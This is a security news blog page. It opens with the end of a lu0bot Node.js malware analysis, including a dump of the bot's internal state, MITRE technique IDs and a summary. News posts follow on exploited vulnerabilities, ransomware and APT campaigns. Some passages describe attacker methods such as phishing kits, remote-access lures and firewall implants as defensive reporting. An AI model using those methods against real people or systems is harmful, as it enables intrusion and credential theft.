     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] },
  pk: 'BASE64_ENCRYPTED',
  k: <Buffer 3c 60 22 73 97 cc 76 22 bc eb b5 79 46 3d 05 9e>,
  mp: 
   { XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,i
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function] } },
  h: 
   { eval: [Function],
     bufwrite: [Function],
     bufread: [Function],
     filewrite: [Function],
     fileread: [Function] },
  mp_pget: [Function],
  mp_pget_ev: [Function],
  mp_new: [Function: mp_new],
  mp_get: [Function: mp_get],
  mp_count: [Function: mp_count],
  mp_loss: [Function: mp_loss],
  mp_del: [Function: mp_del],
  mp_dtchk: [Function: mp_dtchk],
  mp_dtsum: [Function: mp_dtsum],
  mp_pset: [Function: mp_pset],
  mp_opnew: [Function: mp_opnew],
  mp_opstat: [Function: mp_opstat] }
lq
{ ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] 
}

MITRE ATT&CK

  • T1059
  • T1482
  • T1083
  • T1046
  • T1057
  • T1518
  • T1082
  • T1614
  • T1016
  • T1124
  • T1005
  • T1008
  • T1571

ELI5 summary

  • lu0bot is a NodeJS Malware.
  • Network communications are mixing TCP (loader) and UDP (main stage).
  • It’s pushed at least with Garbage Cleaner.
  • Its default setup seems to be a aggressive telemetry harvester.
  • Due to its task manager architecture it is technically able to be everything.

Conclusion

Lu0bot is a curious piece of code which I could admit, even if I don’t like at all NodeJS/JavaScript code, the task manager succeeded in mindblowing me for its ingeniosity.

A wild fumik0_ being amazed by the task manager implementation

I have more questions than answers since then I started to put my hands on that one, but the thing that I’m sure, it’s active and harvesting data from bots that I have never seen before in such an aggressive way.

Special thanks: @benkow_

Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

CISA adds SolarWinds Web Help Desk bug to its Known Exploited Vulnerabilities catalog

Posted on August 17, 2024 - August 17, 2024 by Maq Verma

U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds a SolarWinds Web Help Desk bug to its Known Exploited Vulnerabilities catalog.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added SolarWinds Web Help Desk deserialization of untrusted data vulnerability, tracked as CVE-2024-28986 (CVSS score of 9.8), to its Known Exploited Vulnerabilities (KEV) catalog.

This week SolarWinds fixed the vulnerability in SolarWinds’ Web Help Desk solution for customer support. The flaw is a Java deserialization issue that an attacker can exploit to run commands on a vulnerable host leading to remote code execution.

SolarWinds describes WHD as an affordable Help Desk Ticketing and Asset Management Software that is widely used by large enterprises and government organizations.

“SolarWinds Web Help Desk was found to be susceptible to a Java Deserialization Remote Code Execution vulnerability that, if exploited, would allow an attacker to run commands on the host machine. While it was reported as an unauthenticated vulnerability, SolarWinds has been unable to reproduce it without authentication after thorough testing.” reads the advisory published by Solarwinds. “However, out of an abundance of caution, we recommend all Web Help Desk customers apply the patch, which is now available.”

The vulnerability CVE-2024-28986 impacts all Web Help Desk versions. The software firm urges customers to upgrade to WHD 12.8.3 all versions of Web Help Desk (WHD), and then install the hotfix.

The vulnerability was discovered by researchers at the company’s security firm. The company also thanked Inmarsat Government/Viasat for their assistance.

Users can find a step-by-step procedure to install the hotfix here.

According to Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities, FCEB agencies have to address the identified vulnerabilities by the due date to protect their networks against attacks exploiting the flaws in the catalog.

Experts recommend also private organizations review the Catalog and address the vulnerabilities in their infrastructure.

CISA orders federal agencies to fix this vulnerability by September 5, 2024.

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Microsoft urges customers to fix zero-click Windows RCE in the TCP/IP stack

Posted on August 17, 2024 - August 17, 2024 by Maq Verma

Microsoft addressed a critical zero-click Windows remote code execution (RCE) in the TCP/IP stack that impacts all systems with IPv6 enabled.

Microsoft urges customers to fix a critical TCP/IP remote code execution (RCE) flaw, tracked as CVE-2024-38063 (CVSS score 9.8), in the TCP/IP stack. The vulnerability impacts all systems with IPv6 enabled (IPv6 is enabled by default).

An unauthenticated attacker can exploit the flaw by repeatedly sending IPv6 packets, including specially crafted packets, to a Windows machine which could lead to remote code execution.

Microsoft confirmed that a threat actor can exploit this flaw in a low-complexity attack and its exploitability assessment labels the issue as “exploitation more likely.” This label suggests that Microsoft is aware of past instances of this type of vulnerability being exploited.

Kunlun Lab’s XiaoWei discovered the flaw several months ago, he urged customers to apply the patches because the “exploitation is more likely.”

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The flaw is a buffer overflow issue that can be exploited to achieve arbitrary code execution on vulnerable Windows 10, Windows 11, and Windows Server systems.

https://platform.twitter.com/embed/Tweet.html?creatorScreenName=securityaffairs&dnt=true&embedId=twitter-widget-1&features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&frame=false&hideCard=false&hideThread=false&id=1823684015372870052&lang=en&origin=https%3A%2F%2Fsecurityaffairs.com%2F167117%2Fhacking%2Fwindows-rce-tcp-ip.html&sessionId=183cb4e10a19b261adf3257aa1366e72f9f1f742&siteScreenName=securityaffairs&theme=light&widgetsVersion=2615f7e52b7e0%3A1702314776716&width=500px

XiaoWei pointed out that blocking IPv6 on the local Windows firewall cannot prevent the exploitation of the issue because the vulnerability is triggered before it is processed by the firewall.

Microsoft recommends disabling IPv6 as a mitigation measure.

The issue was addressed by Microsoft with the release of Patch Tuesday security updates for August 2024 that also fixed the following actively exploited flaws:

CVETitleSeverityCVSSPublicExploitedType
CVE-2024-38189Microsoft Project Remote Code Execution VulnerabilityImportant8.8NoYesRCE
CVE-2024-38178Scripting Engine Memory Corruption VulnerabilityImportant7.5NoYesRCE
CVE-2024-38193Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityImportant7.8NoYesEoP
CVE-2024-38106Windows Kernel Elevation of Privilege VulnerabilityImportant7NoYesEoP
CVE-2024-38107Windows Power Dependency Coordinator Elevation of Privilege VulnerabilityImportant7.8NoYesEoP
CVE-2024-38213Windows Mark of the Web Security Feature Bypass VulnerabilityModerate6.5NoYesSFB
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Millions of Pixel devices can be hacked due to a pre-installed vulnerable app

Posted on August 17, 2024 - August 17, 2024 by Maq Verma

Many Google Pixel devices shipped since September 2017 have included a vulnerable app that could be exploited for malicious purposes.

Many Google Pixel devices shipped since September 2017 have included dormant software that could be exploited by attackers to compromise them. Researchers form mobile security firm iVerify reported that the issue stems from a pre-installed Android app called “Showcase.apk,” which runs with excessive system privileges, allowing it to remotely execute code and install remote package.

“iVerify discovered an Android package, “Showcase.apk,” with excessive system privileges, including remote code execution and remote package installation capabilities, on a very large percentage of Pixel devices shipped worldwide since September 2017.” reads the report. “The application downloads a configuration file over an unsecure connection and can be manipulated to execute code at the system level”

The issue allows the app to retrieve its configuration file over unsecured HTTP from a single AWS-hosted domain, exposing millions of Android Pixel devices to man-in-the-middle (MITM) attacks. Threat actors could exploit this flaw to inject malicious code, execute commands with system privileges, and take over devices, potentially leading to serious cybercrimes and data breaches.

The “Showcase.apk” package, developed by Smith Micro, is part of the firmware image on millions of Android Pixel phones, potentially enhancing sales in Verizon stores.

The app “Showcase.apk” cannot be removed through the standard uninstallation process, and Google has yet to address the vulnerability. The app is preinstalled in Pixel firmware and included in Google’s OTA updates for Pixel devices. The experts pointed out that although the app is not enabled by default, it can be activated through various methods, one of which requires physical access to the device.

The flawed app is called Verizon Retail Demo Mode (“com.customermobile.preload.vzw”) and requires dozens of permissions for its execution.

The app has been present since August 2016 [1, 2], but there is no evidence that this vulnerability has been exploited in the wild.

“The application fails to authenticate or verify a statically defined domain during retrieval of the application’s configuration file. If the application already maintains a persistent configuration file, it is unclear if additional checks are in place to ensure the configuration parameters for command-and-control or file retrieval are up to date.” continues the report. “The application uses unsecure default variable initialization during certificate and signature verification, resulting in valid verification checks after failure”

The application is vulnerable because its configuration file can be altered during retrieval or transit to the targeted phone. It also fails to handle missing public keys, signatures, and certificates, allowing attackers to bypass the verification process during downloads.

It is important to highlight that an attacker needs physical access to the device and the user’s password to exploit this flaw.

Google said the issue is not a vulnerability in Android or Pixel systems and announced that the app will be removed from all supported in-market Pixel devices with an upcoming Pixel software update.

Google is also notifying other Android OEMs.

iVerify noted that the concern is serious enough that Palantir Technologies is opting to ban Android devices from its mobile fleet over the next few years.

“The Showcase.apk discovery and other high-profile incidents, like running third-party kernel extensions in Microsoft Windows, highlight the need for more transparency and discussion around having third-party apps running as part of the operating system. It also demonstrates the need for quality assurance and penetration testing to ensure the safety of third-party apps installed on millions of devices.” concludes the report. “Further, why Google installs a third-party application on every Pixel device when only a very small number of devices would need the Showcase.apk is unknown. The concern is serious enough that Palantir Technologies, who helped identify the security issue, is opting to remove Android devices from its mobile fleet and transition entirely to Apple devices over the next few years.”

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Black Basta ransomware gang linked to a SystemBC malware campaign

Posted on August 16, 2024 - August 16, 2024 by Maq Verma

Experts linked an ongoing social engineering campaign, aimed at deploying the malware SystemBC, to the Black Basta ransomware group.

Rapid7 researchers uncovered a new social engineering campaign distributing the SystemBC dropper to the Black Basta ransomware operation.

On June 20, 2024, Rapid7 researchers detected multiple attacks consistent with an ongoing social engineering campaign being tracked by Rapid7. Experts noticed an important shift in the tools used by the threat actors during the recent incidents.

The attack chain begins in the same way, threat actors send an email bomb and then attempt to call the targeted users, often via Microsoft Teams, to offer a fake solution. They trick users into installing AnyDesk, allowing remote control of their computers.

During the attack, the attackers deploy a credential harvesting tool called AntiSpam.exe, which pretends to be a spam filter updater. This tool prompts users to enter their credentials, which are then saved or logged for later use.

The attackers used various payloads named to align with their initial lure, including SystemBC malware, Golang HTTP beacons, and Socks proxy beacons.

The researchers noticed the use of an executable named update6.exe designed to exploit the vulnerability CVE-2022-26923 for privilege escalation, and reverse SSH tunnels and the Level Remote Monitoring and Management (RMM) tool are used for lateral movement and maintaining access.

“When executed, update6.exe will attempt to exploit CVE-2022-26923 to add a machine account if the domain controller used within the environment is vulnerable.” reads the report published by Rapid7. “The debugging symbols database path has been left intact and indicates this: C:\Users\lfkmf\source\repos\AddMachineAccount\x64\Release\AddMachineAccount.pdb. The original source code was likely copied from the publicly available Cobalt Strike module created by Outflank.”

The SystemBC payload in update8.exe is dynamically retrieved from an encrypted resource and directly injected into a child process with the same name. The original SystemBC file is encrypted with an XOR key, and this key is exposed due to the encryption of padding null bytes between PE sections.

The researchers recommend mitigating the threat by blocking all unapproved remote monitoring and management solutions. AppLocker or ​​Microsoft Defender Application Control can block all unapproved RMM solutions from executing within the environment.

Rapid7 also suggests of:

  • educating users about IT communication channels to spot and avoid social engineering attacks.
  • encouraging users to report suspicious calls and texts claiming to be from IT staff.
  • keeping software updated to protect against known vulnerabilities, including applying the patch for CVE-2022-26923 to prevent privilege escalation on vulnerable domain controllers.

The report also includes Indicators of Compromise for this campaign.

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Google disrupted hacking campaigns carried out by Iran-linked APT42

Posted on August 16, 2024 - August 16, 2024 by Maq Verma

Google disrupted a hacking campaign carried out by the Iran-linked APT group APT42 targeting the US presidential election.

Google announced that it disrupted a hacking campaign carried out by Iran-linked group APT42 (Calanque, UNC788) that targeted the personal email accounts of individuals associated with the US elections.

APT42 focuses on highly targeted spear-phishing and social engineering techniques, its operations broadly fall into three categories, credential harvesting, surveillance operations, and malware deployment.

Microsoft has been tracking the threat actors at least since 2013, but experts believe that the cyberespionage group has been active since at least 2011. 

In May and June, nation-state actors targeted former US government officials and individuals associated with the election campaigns of President Biden and former President Trump.

Google announced to have detected and blocked numerous attempts to log in to the personal email accounts of targeted individuals.

“In the current U.S. Presidential election cycle, TAG detected and disrupted a small but steady cadence of APT42’s Cluster C credential phishing activity. In May and June, APT42 targets included the personal email accounts of roughly a dozen individuals affiliated with President Biden and with former President Trump, including current and former officials in the U.S. government and individuals associated with the respective campaigns.” reads the report published by Google.

Some public reports confirm that APT42 has successfully breached accounts across multiple email providers. Google TAG experts reported that the APT group successfully gained access to the personal Gmail account of a high-profile political consultant.

Last week, Donald Trump’s presidential campaign announced it was hacked, a spokesman attributed the attack to foreign sources hostile to the United States. The presidential campaign believes that Iran-linked threat actors may be involved in the cyber operation that is aimed at stealing and distributing sensitive documents. At this time, no specific evidence was provided.

The media outlet POLITICO first reported the hack, it became aware of the security breach after receiving emails from an anonymous account with documents from inside Trump’s operation.

The Trump campaign cited an incident that occurred in June where an Iran-linked APT, Mint Sandstorm, sent a spear-phishing email to a high-ranking campaign official from a compromised account.

The campaign cited a Microsoft report published on Friday that linked Iranian hackers to the spear phishing email sent to an official on a presidential campaign.

“Recent activity suggests the Iranian regime — along with the Kremlin — may be equally engaged in election 2024,” states Microsoft’s report.

APT42 uses social engineering tactics to trick targets into setting up video meetings, which then lead to phishing pages. Attackers used fake Google Meet pages, and lures involving OneDrive, Dropbox, and Skype. In the last six months Google has successfully disrupted the use of Google Sites in over 50 campaigns carried out APT42. Threat actors also used legitimate PDFs to build trust, eventually directing targets to communicate on platforms like Signal or Telegram, where phishing kits are sent to steal credentials.

APT42 employed several phishing kits targeting a variety of sign-on pages including:

  • GCollection, LCollection, and YCollection are advanced credential harvesting tools designed to collect login information from Google, Hotmail, and Yahoo users. Since their initial observation in January 2023, these tools have been continuously updated to handle multi-factor authentication, device PINs, and recovery codes for all three platforms. The toolkit includes various landing page URLs associated with its indicators of compromise.
  • DWP: a browser-in-the-browser phishing kit often delivered via URL shortener that is less full featured than GCollection.

APT42’campaings relies on detailed reconnaissance to target personal email addresses that may lack robust security measures. The attackers research the security settings of their targets’ email accounts, using failed login or recovery attempts to understand authentication factors, and adapt their phishing kits accordingly. This approach ensures their attacks appear legitimate, often including geographic location data to avoid detection. Once gained access to the accounts, the Iranian hackers typically modified account settings to enhance their control, such as changing recovery email addresses and exploiting application-specific passwords. Google’s Advanced Protection Program helps mitigate this by disabling these passwords.

“As we outlined above, APT42 is a sophisticated, persistent threat actor and they show no signs of stopping their attempts to target users and deploy novel tactics.” concludes the report. “This spring and summer, they have shown the ability to run numerous simultaneous phishing campaigns, particularly focused on Israel and the U.S. As hostilities between Iran and Israel intensify, we can expect to see increased campaigns there from APT42.”

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A massive cyber attack hit Central Bank of Iran and other Iranian banks

Posted on August 16, 2024 - August 16, 2024 by Maq Verma

Iranian news outlet reported that a major cyber attack targeted the Central Bank of Iran (CBI) and several other banks causing disruptions.

Iran International reported that a massive cyber attack disrupted operations of the Central Bank of Iran (CBI) and several other banks in the country. The attack crippled the computer systems of the banks in the country.

Xitter Link

This incident coincides with intensified international scrutiny of Iran’s operations in Middle East, as Teheran announced attacks on Israel unless a ceasefire is achieved in the Gaza conflict. Intelligence experts also blame Iran of attempting to influence the upcoming US Presidential election.

According to Iran International, this is one of the largest cyberattacks on Iran’s state infrastructure to date.

Earlier Wednesday, Iran’s supreme leader, Ayatollah Ali Khamenei, said that “The exaggeration of our enemies’ capabilities is intended to spread fear among our people by the US, Britain, and the Zionists. The enemies’ hand is not as strong as it is publicized. We must rely on ourselves. The enemy’s goal is to spread psychological warfare to push us into political and economic retreat and achieve its objectives.”

“This cyberattack comes at a time of heightened international scrutiny of Iran’s actions in the region as Iran vows to retaliate for the assassination of Hamas leader Ismail Haniyeh earlier this month. The leaders of the UK, France, and Germany issued a joint statement warning Iran that it “will bear responsibility” for any attacks against Israel, which could further escalate regional tensions and jeopardize efforts towards a cease-fire and hostage-release deal.” reported the Israeli website Israel Hayom.

EU leaders urged Iran and its allies to avoid further attacks to avoid a new escalation between Israel and Hamas.

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Nation-state actors exploited two zero-days in ASA and FTD firewalls to breach government networks

Posted on August 12, 2024 - August 12, 2024 by Maq Verma

Nation-state actor UAT4356 has been exploiting two zero-days in ASA and FTD firewalls since November 2023 to breach government networks.

Cisco Talos warned that the nation-state actor UAT4356 (aka STORM-1849) has been exploiting two zero-day vulnerabilities in Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) firewalls since November 2023 to breach government networks worldwide.

cisco asa

Cisco Talos researchers tracked this cyber-espionage campaign as ArcaneDoor.

Early in 2024, a customer contacted Cisco to report a suspicious related to its Cisco Adaptive Security Appliances (ASA). PSIRT and Talos launched an investigation to support the customer. 

The experts discovered that the UAT4356 group deployed two backdoors, respectively called “Line Runner” and “Line Dancer.”

Cisco reported that the sophisticated attack chain employed by the attackers impacted a small set of customers. The experts have yet to identify the initial attack vector, however, they discovered the threat actors exploited two vulnerabilities (CVE-2024-20353 (denial of service) and CVE-2024-20359 (persistent local code execution)) as zero-days in these attacks.

The Line Dancer in-memory implant that acts as a memory-resident shellcode interpreter that allows adversaries to execute arbitrary shellcode payloads. On compromised ASA devices, attackers utilize the host-scan-reply field to deliver shellcode, bypassing the need for CVE-2018-0101 exploitation. By redirecting the pointer to the Line Dancer interpreter, attackers can interact with the device through POST requests without authentication. Threat actors used Line Dancer to execute various commands, including disabling syslog, extracting configuration data, generating packet captures, and executing CLI commands. Additionally, Line Dancer hooks into the crash dump and AAA processes to evade forensic analysis and establish remote access VPN tunnels.

The Line Runner allows attackers to maintain persistence on compromised ASA devices. It exploits a legacy capability related to VPN client pre-loading, triggering at boot by searching for a specific file pattern on disk0:. Upon detection, it unzips and executes a Lua script, providing persistent HTTP-based backdoor access. This backdoor survives reboots and upgrades, allowing threat actors to maintain control. Additionally, the Line Runner was observed retrieving staged information facilitated by the Line Dancer component.

“ArcaneDoor is a campaign that is the latest example of state-sponsored actors targeting perimeter network devices from multiple vendors. Coveted by these actors, perimeter network devices are the perfect intrusion point for espionage-focused campaigns. As a critical path for data into and out of the network, these devices need to be routinely and promptly patched; using up-to-date hardware and software versions and configurations; and be closely monitored from a security perspective.” reads the alert published by Cisco, which also includes Indicators of Compromise (IOCs). “Gaining a foothold on these devices allows an actor to directly pivot into an organization, reroute or modify traffic and monitor network communications.”

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Muddling Meerkat, a mysterious DNS Operation involving China’s Great Firewall

Posted on August 12, 2024 - August 12, 2024 by Maq Verma

The China-linked threat actors Muddling Meerkat are manipulating DNS to probe networks globally since 2019.

Infoblox researchers observed China-linked threat actors Muddling Meerkat using sophisticated DNS activities since 2019 to bypass traditional security measures and probe networks worldwide.

The experts noticed a spike in activity observed in September 2023.

The threat actors appear to have the capability to control China’s Great Firewall and were observed utilizing a novel technique involving fake DNS MX records.

Attackers used “super-aged” domains, usually registered before the year 2000, to avoid DNS blocklists and blending in with old malware at the same time

The attackers manipulate MX (Mail Exchange) records by injecting fake responses through China’s Great Firewall. However, the Infoblox researchers have yet to discover the motivation behind the attacks.

“The GFW can be described as an “operator on the side,” meaning that it does not alter DNS responses directly but injects its own answers, entering into a race condition with any response from the original intended destination. When the GFW response is received by the requester first, it can poison their DNS cache.” reads the analysis published by Infoblox. “The GFW creates a lot of noise and misleading data that can hinder investigations into anomalous behavior in DNS. I have personally gone hunting down numerous trails only to conclude: oh, it’s just the GFW.”

Muddling Meerkat

The experts noticed that a cluster of activities linked to a threat actor tracked as “ExploderBot” included most demonstrably damaging DNS DDoS attacks, ceased in May 2018. However, low-volume attacks resembling Slow Drip DDoS attacks have persisted since then. These attacks involve queries for random subdomains of target domains, propagated through open resolvers. Despite their lower volumes, these attacks share similar behavioral patterns to DNS DDoS attacks.

Muddling Meerkat’s operations also used MX record queries for random subdomains of target domains, rather than the base domain itself. This scenario is unusual as it typically occurs when a user intends to send email to a subdomain, which is not common in normal DNS activity. The researchers noticed that many of the target domains lack functional mail servers, making these queries even more mysterious.

“The data we have suggests that the operations are performed in independent “stages;” some include MX queries for target domains, and others include a broader set of queries for random subdomains. The DNS event data containing MX records from the GFW often occurs on separate dates from those where we see MX queries at open resolvers.” concludes the report. “Because the domain names are the same across the stages and the queries are consistent across domain names, both over a multi-year period, these stages surely must be related, but we did not draw a conclusion about how they are related or why the actor would use such staged approaches.”

The report also includes indicators of compromise (IoCs) recommendations to neutralize these activities..

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NATO and the EU formally condemned Russia-linked APT28 cyber espionage

Posted on August 12, 2024 - August 12, 2024 by Maq Verma

NATO and the European Union formally condemned cyber espionage operations carried out by the Russia-linked APT28 against European countries.

NATO and the European Union condemned cyber espionage operations carried out by the Russia-linked threat actor APT28 (aka “Forest Blizzard”, “Fancybear” or “Strontium”) against European countries.

This week the German Federal Government condemned in the strongest possible terms the long-term espionage campaign conducted by the group APT28 that targeted the Executive Committee of the Social Democratic Party of Germany.

“The Federal Government’s national attribution procedure regarding this campaign has concluded that, for a relatively long period, the cyber actor APT28 used a critical vulnerability in Microsoft Outlook that remained unidentified at the time to compromise numerous email accounts.” reads the announcement published by the German Bundesregierung.

The nation-state actor exploited the zero-day flaw CVE-2023-23397 in attacks against European entities since April 2022. The Russia-linked APT also targeted NATO entities and Ukrainian government agencies.

The vulnerability is a Microsoft Outlook spoofing vulnerability that can lead to an authentication bypass.

In December 2023, Palo Alto Networks’ Unit 42 researchers reported that the group APT28 group exploited the CVE-2023-23397 vulnerability in attacks aimed at European NATO members.

The experts highlighted that over the previous 20 months, the APT group targeted at least 30 organizations within 14 nations that are probably of strategic intelligence significance to the Russian government and its military.

In March 2023, Microsoft published guidance for investigating attacks exploiting the patched Outlook vulnerability tracked as CVE-2023-23397.

In attacks spotted by Microsoft’s Threat Intelligence at the end of 2023, the nation-state actor primarily targeted government, energy, transportation, and non-governmental organizations in the US, Europe, and the Middle East.

According to Unit 42, APT28 started exploiting the above vulnerability in March 2022.

“During this time, Fighting Ursa conducted at least two campaigns with this vulnerability that have been made public. The first occurred between March-December 2022 and the second occurred in March 2023.” reads the report published by the company.

“Unit 42 researchers discovered a third, recently active campaign in which Fighting Ursa also used this vulnerability. The group conducted this most recent campaign between September-October 2023, targeting at least nine organizations in seven nations.”

APT28 Outllok exploit

The researchers pointed out that in the second and third campaigns, the nation-state actor continued to use a publicly known exploit for the Outlook flaw. This implies that the benefits of the access and intelligence produced by these operations were deemed more significant than the potential consequences of being discovered.

The list of targets is very long and includes:

  1. Other than Ukraine, all of the targeted European nations are current members of the North Atlantic Treaty Organization (NATO)
  2. at least one NATO Rapid Deployable Corps
  3. critical infrastructure-related organizations within the following sectors:
    1. Energy
    2. Transportation
    3. Telecommunications
    4. Information technology
    5. Military industrial base

